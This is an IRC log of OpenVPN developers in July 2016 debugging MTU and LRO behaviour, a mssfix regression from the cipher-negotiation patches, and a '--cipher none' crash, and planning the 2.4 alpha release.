08:33 <@plaisthos> cannot see the reason why 08:34 <@plaisthos> openvpn sends fragmented udp packets to the client 08:35 <@plaisthos> also receive optimization of the nic/kvm stack makes thing weird ... 08:35 <@plaisthos> nic gets multiple tcp packets comibes them into one 3-5k packet and linux then splits them into mtu sized + rest over tun 08:40 <@plaisthos> so this whole mtu=1500 seems to break in this scenario 09:24 <@vpnHelper> RSS Update - tickets: #709: ipv6 redirect-gateway-ipv6 problem <https://community.openvpn.net/openvpn/ticket/709> 09:27 <@plaisthos> redirect-gateway-ipv6 is that even an option in openvpn? 09:51 <@cron2> no, but master (and 3.x) have "redirect-gateway ipv6" 14:44 <@plaisthos> mtu and lro, lso might be a topic for Helsinki 15:34 <@cron2> indeed, though I'm not sure I understand what you observe - lro/lso should not fire for transit packets 15:34 <@cron2> but who knows with modern network cards that are more intelligent than computers 5 years ago... --- Day changed Thu Jul 14 2016 05:06 <@plaisthos> cron2: 5 packets go in to eth0, arrive as one 9000 byte packet to the Linux kernel since the nic does lro. Linux then routes it over to tun0 and splits it into 4,5 1500 byte packets for compatibility 05:07 <@cron2> I've seen this happen (LRO) for packets destined *to* the linux system, but never for transit packets. That sounds scary. 05:07 <@cron2> having to segment other people's TCP streams... brr 05:08 <@cron2> plus, it's obviously breaking MSS negotiation by the endpoints 05:08 <@cron2> (which the midpoint will not know about, unless keeping state) 05:13 <@plaisthos> yeah, the packets are to the system since I am using NAT 05:14 <@cron2> turn off lro :) 05:15 <@plaisthos> cron2: I would probably need turn off lro also for the physical machine 05:16 <@plaisthos> It is interesting to say the least that this lro optimization survives all the virtualisation 05:25 <@cron2> I'm not sure about the physical machine - lro really should only kick in for packets destined to local addresses (which you have with NAT), but definitely worth testing 05:26 <@cron2> OTOH with these modern virtualization thingies, and the compute power on the NICs, I'm wouldn't bet on "which piece of hardware or software does this" 05:27 <@plaisthos> with openvswitch on physical machines you actually get resegmentation for packets 05:27 <@plaisthos> unless newer versions fixed that 05:27 <@plaisthos> but then again maybe nics only do the lro when the packets are full mtu 05:28 <@plaisthos> needs to test that 05:28 <@plaisthos> since my mssfix is not working :) 05:28 <@plaisthos> :( 05:33 <@cron2> yeah, annoyance 05:43 <@plaisthos> nope, the nic does not care 05:44 <@plaisthos> I set tun-mtu 1280 and server and client 05:44 <@plaisthos> so mss is correctly announced and still see 12168 byte packets in tcpdump 05:47 <@plaisthos> fun: http://imgur.com/ZgYU2zN 05:47 <@vpnHelper> Title: Imgur: The most awesome images on the Internet (at imgur.com) 05:51 <@mattock> looking at https://community.openvpn.net/openvpn/wiki/StatusOfOpenvpn24 ... are we sure we want to block 2.4-alpha1 because of "t_client-style "test all windows specific options" testbed on windows" and/or "add Buildbots with current BSD versions (FreeBSD 10.3, NetBSD 7.x, OpenBSD 5.9), verify things are working / integrate vendor patches" ? 05:51 <@vpnHelper> Title: StatusOfOpenvpn24 – OpenVPN Community (at community.openvpn.net) 05:51 <@mattock> for 2.4.0 I would probably agree, but not for 2.4-alpha1 05:52 <@mattock> those two tasks are more about quality assurance in general than 2.4 release in particular 05:52 <@mattock> imho 05:58 <@plaisthos> a 2.4-alpha1 might actually get us more feedback than master versions 05:58 <@plaisthos> I think we need more server feedback 06:05 <@plaisthos> debian patches typos in openvpn 06:05 <@plaisthos> but hasn't submitted these fixes to upstream!? 06:23 <@cron2> well, the windows testing environment is important because I do not feel comfortable merging d12fk's (fairly drastic) change without proper testing 06:25 <@cron2> just throwing out poorly tested stuff will lead to "2.4 is bad, I tested the alpha and it just didn't work" plus much more work with poor bug reports and chasing reporters for details - so everything we can reasonably do to ensure "normal stuff" works should be done 06:26 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 06:28 <@plaisthos> Since I haven't updated windows in ages, I have to ask 06:28 <@plaisthos> do we have windows nightly builds? 06:37 <@cron2> yes 06:46 <@cron2> http://build.openvpn.net/downloads/snapshots/ 06:46 <@plaisthos> okay will try the openvpn for windows git build when I get home 06:46 <@vpnHelper> Title: Index of /downloads/snapshots/ (at build.openvpn.net) 06:46 <@plaisthos> thanks! 06:46 <@cron2> not exactly "nightlies" but "every commit triggers a build" 06:47 <@cron2> the current windows version works very well, but I haven't merged d12fk's change yet - tbh, I had no time to properly think about it, but it also triggered the discussion about windows testing, which went about as expected 06:47 <@cron2> 3 persons argued that their programming language of choice is superior for this, one person suggested a totally great framework, nobody wrote any code to actually *run tests* 06:48 <@cron2> which was not exactly surprising, but still a bit of disappointment (and why do *I* bother with windows testing in the first place?) 06:54 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:55 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 17:13 -!- floppym is now known as FloppyMaster 17:14 -!- FloppyMaster is now known as floppym 20:42 <@vpnHelper> RSS Update - tickets: #710: OpenBSD route command incorrectly issued <https://community.openvpn.net/openvpn/ticket/710> --- Day changed Fri Jul 15 2016 06:11 <@plaisthos> cron2: are by chance at the IETF Warm-Up! BBQ 06:11 <@plaisthos> ? 07:09 <@cron2> plaisthos: not going to IETF - too much work @home, do not like Berlin, and IETF annoys me somewhat these days... 07:09 <@cron2> plaisthos: which WGs are you attending? 07:42 <@plaisthos> cron2: I am the anrw workshop at is before the ietf meeting 07:42 <@plaisthos> not going ietf itself 07:44 <@cron2> anrw? 07:54 <@plaisthos> applied network research workshop 07:54 <@plaisthos> Outdoor Survival Water-Resistant Anti-Shock Storage Sealed Case Box Container - Orange (L) 07:55 <@plaisthos> argh 07:55 <@plaisthos> https://irtf.org/anrw/2016/ 07:55 <@vpnHelper> Title: Applied Networking Research Workshop (ANRW ‘16) (at irtf.org) 07:55 <@plaisthos> (wrong copy &pste) 07:55 <@cron2> haha :-) - plaisthos in a box, sounds nice 07:56 * cron2 tags the URL to read up tonight what is not in ANR these days 07:56 <@cron2> s/not/hot/ 14:04 <@cron2> plaisthos: your paper sounds complicated 14:16 <@cron2> plaisthos: and, btw, if you meet (Prof.) Anja Feldmann, send her greetings from me :-) - I tried to do a PhD in computer science in her group, some ~10 years ago --- Day changed Sat Jul 16 2016 03:43 <@vpnHelper> RSS Update - tickets: #711: Nucific Bio X4 | Is It Really A Scam? <https://community.openvpn.net/openvpn/ticket/711> 04:31 <@vpnHelper> RSS Update - tickets: #711: spam <https://community.openvpn.net/openvpn/ticket/711> --- Day changed Sun Jul 17 2016 13:55 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 15:01 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 15:58 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:58 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:58 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 15:58 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Mon Jul 18 2016 02:42 <@cron2> mornin' 04:30 <@dazo> morning 05:14 <@plaisthos> mornin' 06:56 <@ecrist> mornin' --- Day changed Tue Jul 19 2016 02:57 <@cron2> Subject: Update: Upcoming Price Increase for OpenVPN Access Server 02:57 <@cron2> mmmh! 07:43 <@ecrist> they have to afford dazo somehow 08:52 <@dazo> hahaha --- Day changed Wed Jul 20 2016 05:10 <@vpnHelper> RSS Update - tickets: #712: connection issue with PKCS#11 support <https://community.openvpn.net/openvpn/ticket/712> 10:08 <@plaisthos> I have given this mtu stuff some thought 10:08 <@plaisthos> We might need to implement tcp resegmentation in OpenVPN to really fix this 11:57 <@cron2> plaisthos: we really do not want to go there. TCP is the operating system's domain. It might be necessary & sufficient to just reduce MTU on the tun if / of the routes pointing into the tun if (depending on OS capabilities) to achieve the same thing --- Day changed Thu Jul 21 2016 04:40 <@cron2> whee 04:40 * cron2 just discovered --lladdr 05:45 <@dazo> :) 07:14 -!- Algernop is now known as z_Algernop 13:20 <@vpnHelper> RSS Update - tickets: #713: debian jessie server-bridge pushes routes to clients no more <https://community.openvpn.net/openvpn/ticket/713> --- Day changed Fri Jul 22 2016 15:03 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Mon Jul 25 2016 07:12 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 276 seconds] --- Log closed Mon Jul 25 07:12:45 2016 --- Log opened Mon Jul 25 07:13:16 2016 07:13 -!- Irssi: #openvpn-devel: Total of 25 nicks [7 ops, 0 halfops, 0 voices, 18 normal] 07:13 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:13 -!- Irssi: Join to #openvpn-devel was synced in 30 secs 08:30 <@syzzer> any plans for a meeting tonight? 08:35 <@plaisthos> I have time 09:06 <@plaisthos> !cipher 09:20 * cron2 will be there 09:25 -!- krzie [9467285c@openvpn/community/support/krzee] has joined #openvpn-devel 09:25 -!- mode/#openvpn-devel [+v krzie] by ChanServ 09:25 -!- krzie is now known as krzee 09:41 <@syzzer> ok, I guess no official meeting then, but I'll be there too 09:41 <@syzzer> just to try and get some more 2.4 stuff done 09:51 -!- s7r_ is now known as s7r 10:01 <@dazo> I'll try to be there as well 10:24 <@cron2> syzzer: mattock seems to have gone missing... so, no official anything :) 10:25 <@cron2> dazo: already working for openvpn tech? 10:25 <@dazo> cron2: nope, not yet ... next week :) 10:25 <@cron2> ah. this will be interesting :) 10:25 <@dazo> I thought mattock said he would be out for a few weeks from Aug 15 10:26 <@dazo> yes, it will be :) I'm excited and look forward :) 10:26 * dazo spends all time now to complete last task at $CURRENT_EMPLOYER 10:29 <@cron2> "from Aug 15" hasn't happened yet :) 10:32 <@cron2> whee 10:32 <@cron2> Applying: Add server-side support for cipher negotiation 10:32 <@cron2> error: patch failed: Changes.rst:51 10:36 <@dazo> duh! July 15th! 10:36 <@cron2> hrhr :) 10:37 * dazo forgot to deactivate the flux capacitor ;-) 10:44 <@plaisthos> Changes.rst always conflicts 10:44 <@plaisthos> %) 10:45 <+krzee> you saying that doesnt *change* ? 10:45 <+krzee> :D 10:46 <@cron2> the delay between "posting to list" (including Changes.rst) and "applying stuff" is too long, so something else always gets in between 10:47 <@cron2> we just need to stop doing user-visible changes 10:48 <@dazo> sounds like a good plan :) 10:50 <@cron2> PUSH_REPLY...cipher AES-256-GCM 10:51 <@cron2> dat shit works! 10:52 <@cron2> syzzer: we have independent ciphers for encrypt/decrypt now? 10:53 <+krzee> whoa getting all fancy 10:55 <@cron2> iOS to git master gets pushed AES-256-GCM (digest: SHA1) \o/ 11:16 <@d12fk> for what the digest? 11:19 <@plaisthos> cron2: that idependent lines were always there 11:26 <@cron2> d12fk: I think it's not used, but the config setting is still there 11:26 <@cron2> and the iOS client just logs what it has configured 11:27 <@cron2> plaisthos: really? I never noticed (but then, I do not think I've ever looked for data channel encryption lines :) ) 11:27 <@cron2> Test sets succeded: 1 1a 1b 1c 1d 2 2a 2b 2d 3 4 4a 5 8. 11:31 <@cron2> mmmh. Did we break mssfix??? 11:32 <@cron2> plaisthos: I have a setup without offloading and without NAT, and mss is still not right... strange 11:34 <@plaisthos> cron2: I think yes 11:34 <@plaisthos> the packets from my android client have the tun mtu in it even though the mssfix option is on 11:35 <@cron2> I have mssfix 1000 on the server end (git master), and I'm pushing "mssfix 1100" towards the iOS client, and I see SYN packets with MSS 1440/1460 coming out of the server side tun 11:37 <@cron2> I'm afraid this is the ever-not-fixed if() clause embedded in #ifdefs that checks all the forward ip flags... 11:37 <@plaisthos> cron2: I will look into that stuff 11:37 <@plaisthos> But first I have to do grocery shopping 11:37 <@cron2> have fun :) 11:37 * cron2 is testing syzzer 5/5 11:41 <@cron2> syzzer: should ncp-disable work in a ccd/ file? 11:46 <@cron2> mss 918 11:46 <@cron2> shucks 11:46 <@cron2> setting ncp-disable in server.conf fixes mss 11:51 <@plaisthos> mssfix is v4 only in OpenVPN, right? 11:51 <@plaisthos> we might need to add that information to the manpage 11:51 <@plaisthos> or is that v6 too? 11:51 <@cron2> it's v4 and v6 :) 11:51 <@cron2> (but current master is broken for v4 and v6) 11:51 <@cron2> haha 11:51 <@cron2> thought so 11:51 <@cron2> commit f0e8997a874a89b3fe1f82109c443232e8967b01 11:51 <@cron2> Author: Gert Doering <gert@greenie.muc.de> 11:52 <@cron2> Implement --mssfix handling for IPv6 packets. 11:52 <@cron2> Acked-by: Arne Schwabe <arne@rfc2549.org> 11:55 <@cron2> humm, interesting. current master (which only has 4 of syzzer's patches) has working mssfix, so it's indeed in 5/5 11:55 <@cron2> ah, no 12:03 <@cron2> need to feed kid, brb 12:17 <@cron2> t_client run OK (fbsd74, 22)! 12:17 <@cron2> Test sets succeded: 1 2 3 4 5 8 9. 12:17 <@cron2> 2.2 -> git master, t_client test set 12:18 <@cron2> which, unfortunately, doesn't excercise mssfix... need to (finally) add a tcp download test to a server with broken UDP fragmentation or something like this 12:55 <@plaisthos> yeah 12:55 <@plaisthos> and then you run into my lro problem :p 12:56 <@cron2> your lro problem actually might not be if mss is working, and the nat engine preserves mss values... curious to see that :) 12:58 <@syzzer> I'll be here in about 30 mins 12:58 <@syzzer> first some dinner ;) 12:59 <@cron2> eet smaakelig or however it's spelled 13:08 <@vpnHelper> RSS Update - gitrepo: Add server-side support for cipher negotiation <https://github.com/OpenVPN/openvpn/commit/a17aa98180319f34c3240aea617bf8114d0bcaf7> 13:12 <@plaisthos> cron2: no, when I set the tun-mtu to 1280 on the client side on only, packets get out with the mss (obviously) and server replies also 1280 when single packets 13:12 <@plaisthos> but often these replies are lro'ed into a bigger packet 13:13 <@cron2> and then sent with 1500 on the server tun? 13:13 <@plaisthos> yepp 13:13 <@cron2> meh 13:13 <@plaisthos> or lower if the tun-mtu is lower 13:13 <@cron2> well, "with mtu-size" :) 13:13 <@plaisthos> I reduced tun-mtu to 1400 on client and server 13:13 <@plaisthos> since that seem the only sane approach 13:14 <@cron2> so disabling lro did not work? 13:14 <@cron2> (inside the VM) 13:14 <@plaisthos> nope 13:15 <@plaisthos> I would need to disable lro on the real host 13:15 <@plaisthos> otherwise you end up with 1500 byte packets in the vm 13:15 <@plaisthos> instead of a large packet 13:16 <@plaisthos> it happens for ipv6 (which has no NAT in this setup) and IPv4 13:16 <@plaisthos> and I don't think that without virtualization it is better :/ 13:16 <@cron2> what? so the host reassembles, and segments again? 13:17 <@cron2> oh, without virtualization, disabling lro just does that - "leave alone my packets" 13:17 <@plaisthos> yeah 13:17 <@syzzer> cron2: did you test ncp-disable in the ccd? I think it works, but I'm not totally sure. 13:18 <@cron2> let me re-test 13:20 <@cron2> Jul 25 20:20:01 gentoo openvpn[8789]: cron2-ithing/193.149.48.140 Options error: option 'ncp-disable' cannot be used in this context (/root/openvpn-test-server/tun-udp-p2mp-global/ccd/cron2-ithing) 13:21 <@cron2> nah 13:21 <@cron2> it might even work, but we do not allow it... 13:21 <@syzzer> ah, right 13:22 <@syzzer> I just started staring at the code, and seems it should be able to work 13:24 <@plaisthos> cron2: the nic still does the reassembling if you don't disable lro on the physical nic, so the host has no idea what size the packets were 13:25 <@cron2> meh 13:26 <@cron2> oh 13:26 * cron2 needs to update freebsd/mbedtls :) 13:26 <@cron2> maintainer patched for mbedtls/ssl.h, but I didn't upgrade yet 13:26 <@cron2> [4/7] Upgrading mbedtls from 2.3.0 to 2.3.0_1... 13:33 <@plaisthos> cron2: you sure that 5/5 broke mssfix? 13:34 <@cron2> no, it's not 5/5 13:34 <@cron2> 5/5 will trigger the problem on the server side, but 4/5 already breaks the client 13:35 <@cron2> 4/5 works on the server, 5/5 with --disable-ncp works on the server, so it's something with the delayed initialization - though I'm wondering how that could be 13:35 <@cron2> maybe when building the frame, the mss value is initialized to "what is needed for that frame" 13:39 <@syzzer> not sure how (and when) the mss value is calculated, but with ncp, functions like 'frame finalize' are called multiple times 13:39 <@cron2> awww 13:40 <@cron2> init.c, do_init_mssfix() calls frame_set_mtu_dynamic(... c->options.ce.mssfix, SET_MTU_UPPER_BOUND); 13:40 <@syzzer> (and getting ncp-disable to work from a ccd file is purely a bureaucratic problem - I have no idea how all these OPT_P_x values are supposed to be used...) 13:41 <@syzzer> cron2: ah, right, so the tls_update_frame_parameters() should call something like that too 13:43 <@plaisthos> the fake mtu generating might also call into that function 13:43 <@cron2> I think you want OPT_P_GENERAL|OPT_P_INSTANCE - but we do not have many options that are allowed both in a global context and per-isntance 13:44 <@syzzer> cron2: that should definitely work, I just wasn't sure about the semantics of all these values 13:44 <@cron2> I think most people that have added stuff to options.c had no idea (myself included, I just copied what is there for "route"... :) ) 13:45 <@cron2> yay 13:45 <@cron2> mssfix is first stuffed into struct frame, and later pulled out again 13:45 <@cron2> if (flags & PIP_MSSFIX) 13:45 <@cron2> mss_fixup_ipv4 (&ipbuf, MTU_TO_MSS (TUN_MTU_SIZE_DYNAMIC (&c->c2.frame))); 13:50 <@cron2> the fake mtu "should" not play into this, as it's built on a "fake_frame" instance 13:55 <@cron2> mmmh, --cipher none --cipher still segfaults 13:56 <@syzzer> ah, right 13:56 <@syzzer> let send a patch for that too 13:56 <@cron2> ah, #699, I did open a trac ticket :) 13:56 <@syzzer> (you seem to be much better versed in the mtu stuff, so I'll leave that to you for now) 13:57 * cron2 has no idea what he's staring at 13:57 <@cron2> Mon Jul 25 20:56:52 2016 us=337605 MTU DYNAMIC mtu=400, flags=2, 1545 -> 400 13:58 <@cron2> this is the init call (mssfix 400) 13:58 <@cron2> Mon Jul 25 20:56:52 2016 us=342042 Data Channel MTU parms [ L:1545 D:400 EF:45 EB:393 ET:0 EL:3 ] 13:58 <@cron2> this also has "400" 13:59 <@cron2> uh, what 13:59 <@cron2> mss 295 14:00 <@cron2> (this is on the client, and it seems to dtrt) 14:02 <@cron2> ok, so the "git master" *client* works right 14:02 <@cron2> the server works right *if* ncp-disable is called, but not otherwise 14:06 <@cron2> scrap that 14:06 <@cron2> this was a config without --pull (namely, my p2p test) 14:07 <@cron2> next try, you can see where it fails now (*phew*) 14:07 <@cron2> Mon Jul 25 21:06:12 2016 us=723529 MTU DYNAMIC mtu=400, flags=2, 1622 -> 400 14:07 <@cron2> good 14:07 <@cron2> Mon Jul 25 21:06:14 2016 us=626923 OPTIONS IMPORT: adjusting link_mtu to 1625 14:07 <@cron2> Mon Jul 25 21:06:14 2016 us=626932 Data Channel MTU parms [ L:1545 D:1545 EF:45 EB:406 ET:0 EL:3 ] 14:08 <@cron2> bad 14:09 <@cron2> which is the peer-id extra +3, so 1622->1625 is right 14:10 <@cron2> but at some point it's resetting L: from 1622 to 1545, and that seems to reset D: 14:11 <@cron2> (which is frame->link_mtu_dynamic) 14:12 <@cron2> meh 14:12 <@cron2> frame_finalize() ends with 14:12 <@cron2> frame->link_mtu_dynamic = frame->link_mtu; 14:13 <@cron2> and tls_session_update_crypto_params() calls frame_finalize(), right before frame_print() 14:13 <@cron2> syzzer: your turn :) 14:14 <@cron2> (so what I think is needed and which I'll test right away is "what do_init_mssfix() does" in there) 14:14 <@syzzer> ah, cool that you managed to pin this down so quickly! 14:14 <@cron2> openvpn --verb 7 | grep -i mtu 14:14 * cron2 loves unixy tools 14:16 <@cron2> normal flow of things is do_init_frame()->frame_finalize_options()->frame_finalize() in init.c 14:16 <@cron2> and do_init_mssfix() after that 14:18 <@cron2> init.c also hsa do_init_fragment(), which also fiddles with the frame_set_* stuff, so that needs another very close look 14:18 <@cron2> I never used --fragment (*sigh*, another t_client test case that is missing) 14:24 <@vpnHelper> RSS Update - gitrepo: Allow ncp-disable and ncp-ciphers to be specified in ccd files <https://github.com/OpenVPN/openvpn/commit/834f602fd069118b5d00a9042c9fdb20930257eb> 14:24 <@cron2> http://pastebin.com/rhjUmfK4 14:25 <@cron2> so with that patch, mssfix is back to normal - but it's sort of ugly code duplication, and it's missing --fragment 14:32 <@syzzer> so what about exposing do_init_mssfix() and just calling that? 14:33 <@cron2> it wants a "c", but all you have there is "options" and "frame"... (and james has certain ideas about calling hierarchies, so I think stuff in ssl.c is not supposed to call "up" to init.c) 14:34 <@cron2> but sort of moving do_init_mssfix() and do_init_fragment() to a nice place which is either in ssl.c, or "downstream" from init.c & ssl.c sounds like a plan :) (and changing the argument) 14:34 <@syzzer> yes, that :) 14:34 <@syzzer> nice chance to actually separate the code a bit more 14:36 <@cron2> oh 14:36 <@cron2> this change actually explains why my ipad test had issues, without me even setting mssfix explicitly 14:36 <@cron2> without the patch 14:36 <@cron2> Mon Jul 25 21:35:01 2016 us=297023 Data Channel MTU parms [ L:1545 D:1545 EF:45 EB:406 ET:0 EL:3 ] 14:36 <@cron2> with the patch, not setting --mssfix <something> 14:36 <@cron2> Mon Jul 25 21:31:16 2016 us=487868 Data Channel MTU parms [ L:1545 D:1450 EF:45 EB:406 ET:0 EL:3 ] 14:37 <@cron2> D:1450 14:37 <@cron2> mssfix is default-on, to 1450... 14:39 <@syzzer> hm, interesting 14:40 <@cron2> indeed :)... and I wonder how --fragment 1200 --mssfix 800 would interact, and if that was intentional... (from my reading, it would crank down --fragment to 800, since both is stored in SET_MTU_UPPER_BOUND) 14:40 <@cron2> Mon Jul 25 21:39:40 2016 us=718709 Data Channel MTU parms [ L:1626 D:500 EF:126 EB:407 ET:0 EL:3 ] 14:40 <@cron2> Mon Jul 25 21:39:40 2016 us=718713 Fragmentation MTU parms [ L:1626 D:1200 EF:125 EB:407 ET:1 EL:3 ] 14:41 <@cron2> (that was with --mssfix 500) 14:41 <@syzzer> there's a separate fragment struct frame 14:41 <@syzzer> if that's what you're getting at 14:42 <@cron2> never seen the "Fragmentation MTU" line :-) - but that's not so much it. "Data Channel MTU" is now at D:500, even if I ordered *fragments* of size up to 1200 14:42 <@cron2> I currently have no server to test fragment against, so I'm not exactly sure how that works 14:47 <@syzzer> cron2: was that an implicit ACK on the ccd-patch? ;) 14:47 <@cron2> aw 14:47 <@cron2> well, the commit says acked-by, but usually I actually spell that out :) 14:48 <@syzzer> ah, right. should be sufficient indeed 14:48 <@syzzer> just got used the the "ACK. Your patch ..." 14:48 <@cron2> kid-interrupt #473 14:48 <@cron2> "papa I can not sleep!" 14:49 <@cron2> since I actually need to get some sleep myself (too many family celebrations recently - my mum had her 70th yesterday...) - how will we continue on this? 14:55 <@syzzer> hwo close to a patch are you? 14:55 <@syzzer> I can definitely review if you're close 14:55 <@syzzer> otherwise I can cook up patches 14:56 <@cron2> not very close at all, just the proof of concept one 14:56 <@cron2> and then staring at fragment*.[ch] for a while 14:56 <@syzzer> I think I understand the mssfix part well, but know virtually nothing about --fragment 14:57 <@cron2> neither do I, except "it exists, it does stuff to 'frame', and adds a new frame-ish struct" 14:57 <@cron2> but since it modifies struct frame, we need to replicate that part as well 14:58 <@cron2> but maybe only the max size part, not the other bit 14:58 <@syzzer> well that seems to line up our knowledge more of less :p 14:58 <@syzzer> I will not continue very long either tonight 14:59 <@syzzer> so as far as I'm concerned, just see who's first :p 14:59 <@cron2> I'm happy to go and beat on it (wednesday, tomorrow is very busy) but I'd prefer if you could do a nice and clean patch, while I cook up a --fragment test server :-) 14:59 <@syzzer> I'll let you know here if I decide to work on this 14:59 <@cron2> good enough 14:59 <@syzzer> cron2: works for me too 14:59 <@syzzer> tomorrow sports, but I can spend some time on Wed too 15:00 <@cron2> ok 15:00 <@cron2> good night, then :-) - next monday, we bash on lev' and d12fk's remaining patches... 15:03 <@syzzer> yep :) 15:03 <@syzzer> good night! 15:09 <@syzzer> cron2: ah, you actually bothered to ask :') 15:09 <@cron2> and there the patch is :-) - nice cleanup! :)) 15:09 <@cron2> let's see if someone comes up with a good answer 22:13 -!- krzee [9467285c@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 22:14 -!- krzie [9467285c@openvpn/community/support/krzee] has joined #openvpn-devel 22:14 -!- mode/#openvpn-devel [+v krzie] by ChanServ 22:14 -!- krzie is now known as krzee --- Day changed Tue Jul 26 2016 01:39 <@cron2> syzzer: For 2.3, do we want the full "--cipher none --cipher" patch, or just the msg(M_WARN, ... deprecated) bits? 01:47 <@cron2> it's a bit larger than absolutely necessary, but then, it's cleanup, and easy to review... 04:31 <@dazo> cron2: are you spending time reviewing syzzer --cipher patch? I can have a look at it now, but if you've already done so and ready to commit, I won't put too much energy into it 04:33 <@dazo> syzzer: Have you seen JJKs suggestion on ML to change --ncp-disable to --disable-ncp? ... I know it's an extra "not so important patch", but I think it has merits 04:34 <@dazo> (especially on brand new options not widely deployed yet) 04:35 * krzee googles ncp 04:35 <@dazo> krzee: it's a new feature coming in git master 04:36 <@dazo> krzee: http://article.gmane.org/gmane.network.openvpn.devel/12096 04:36 <@vpnHelper> Title: Gmane -- PATCH Allow ncp disable and ncp ciphers to be specified in ccd files (at article.gmane.org) 04:36 <+krzee> ahh danke 04:37 <@dazo> krzee: it's related to this ML thread ... http://thread.gmane.org/gmane.network.openvpn.devel/11848 04:37 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 05:31 <@cron2> dazo: the review is done, I'm basically waiting for someone to yell "I NEED THIS!" on one of the lists 05:31 <@cron2> regarding ncp-disable <-> disable-ncp - well, it goes along with ncp-ciphers, so both ncp-related options start with "--ncp-..." 05:35 <+krzee> from a user perspective it goes with disable-* because if you use it it will be the only ncp-* you use 05:36 <@cron2> unless you want to change the list of permitted NCP ciphers, which is --ncp-ciphers - and the number of users that will ever want to disable this should be very similar to the users that fiddle with the cipher list 05:36 <+krzee> or at least i could see that, i dont have an opinion on it personally 05:37 <@cron2> it's both "you know why you do it" options 05:37 <+krzee> oh it makes sense to change the permitted ciphers and use --ncp-disable together? 05:38 <@cron2> no, but both are very special tweaks 05:38 <+krzee> ahh 05:44 -!- krzee [9467285c@openvpn/community/support/krzee] has quit [Quit: Page closed] 05:55 <@syzzer> yeah, it's the symmetry between --ncp-ciphers and --ncp-disable why I chose it this way 05:57 <@syzzer> together with the fact that this has some hierarchy: --<group>-<property> 05:58 <@syzzer> kind of like the group of --tls-* options 06:08 <@syzzer> cron2: I'm not sure about 2.3. I think just making --cipher/--auth a no-op is best. The code is suffiently different from master anyway, so the cleanup won't make backporting patches much easier. 06:15 <@cron2> ok - can you send a formal 2.3-only patch containing just these two chunks? 06:15 <@syzzer> cron2: yes, will do 06:15 <@cron2> (I could extract them easily, but then we do not have them on the list, no message-id, ...) 06:15 <@cron2> transparency overhead... :) 08:16 <@syzzer> cron2: thinking about it, I think we shouldn't print the warning at all, but reject the config instead 08:17 <@syzzer> we did not get any complaints about the current crash, so this apparently is not an issue for our current 2.3/master users 08:17 <@syzzer> so there seems to be no need to be gentle, and we can instead rip out a few more lines from options.c 08:18 <@syzzer> that upgrades from a crash to 08:18 <@syzzer> unsupported option error 08:19 <@cron2> syzzer: well, it will only crash if you do "--cipher none" first - plain "--cipher" will just no-op :) 08:19 <@cron2> but I'm happy to rip that out - if not even JJK knows what it's there for... 08:19 <@syzzer> cron2: hm, true 08:20 <@syzzer> ok, let's print the deprecation warning in 2.3, and rip it out in master then 08:20 <@cron2> feature-ACK :) 09:01 <@syzzer> on the list 09:58 <@cron2> Tue Jul 26 16:57:44 2016 WARNING: Using --cipher without alg is deprecated. 09:59 <@syzzer> you better know it! 10:05 <@syzzer> mattock: seems you've got work to do ;) :http://community.openvpn.net/openvpn/query?status=accepted&status=assigned&status=new&status=reopened&milestone=alpha+2.4&col=id&col=summary&col=status&col=type&col=priority&col=milestone 10:05 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 10:18 <@cron2> Options error: Unrecognized option or missing or extra parameter(s) in [CMD-LINE]:1: cipher (2.3_git) 10:23 <@vpnHelper> RSS Update - gitrepo: Fix '--cipher none --cipher' crash <https://github.com/OpenVPN/openvpn/commit/dea8917a032e2303b39cce23e60f2348516d5a12> --- Day changed Wed Jul 27 2016 00:34 -!- krzee [9467285c@openvpn/community/support/krzee] has joined #openvpn-devel 00:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:52 -!- krzee [9467285c@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 02:04 -!- krzee [9467285c@openvpn/community/support/krzee] has joined #openvpn-devel 02:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:11 <@cron2> mornin' 06:20 <@plaisthos> cron2: moin 11:59 <@cron2> mmmh 12:00 <@cron2> Jul 27 18:37:41 gentoo openvpn[31695]: Authenticate/Decrypt packet error: packet HMAC authentication failed 12:00 <@cron2> Jul 27 18:37:41 gentoo openvpn[31695]: Fatal decryption error (process_incoming_link), restarting 12:00 <@cron2> Jul 27 18:37:41 gentoo openvpn[31695]: OpenVPN started by inetd/xinetd cannot restart... Exiting. 12:13 <@vpnHelper> RSS Update - tickets: #715: ncp patch set breaks --inetd <https://community.openvpn.net/openvpn/ticket/715> 12:18 <@vpnHelper> RSS Update - tickets: #716: ncp patch set breaks --mssfix (and possibly --fragment) <https://community.openvpn.net/openvpn/ticket/716> 13:31 <@syzzer> cron2: that is some weird config :p 13:32 <@syzzer> so it's not a --server, but it *does* push options 13:32 <@syzzer> how does this know what to push? 13:34 * syzzer has some extra openvpn options to learn... 15:10 <@cron2> syzer: well, the server.conf does have "push" statements in it... and "peer-id" gets auto-added, as is "cipher AES-256-GCM"... 15:11 <@cron2> will test the patch tomorrow 15:38 <+krzee> really the only reason --server can --push is because --client includes --pull 16:55 < gp_alt> is it expected that env var peer_cert is empty in the auth-user-pass-verify script? I wanted to check before submitting bug. Since the X509_{n}_{subject_field} env vars are set it seems like peer_cert should also be available but it isn't 17:05 <@syzzer> gp_alt: peer_cert is only valid for the tls-verify script, I think 17:05 <@syzzer> not for the auth-user-pass-verify 17:07 <+krzee> you can also make a script with: env and it'll dump all vars that you have to play with 17:07 < gp_alt> syzzer: okay. that is unfortunate. is there a tracker I can post the request to? I am trying to verify the username is owned by the certificate 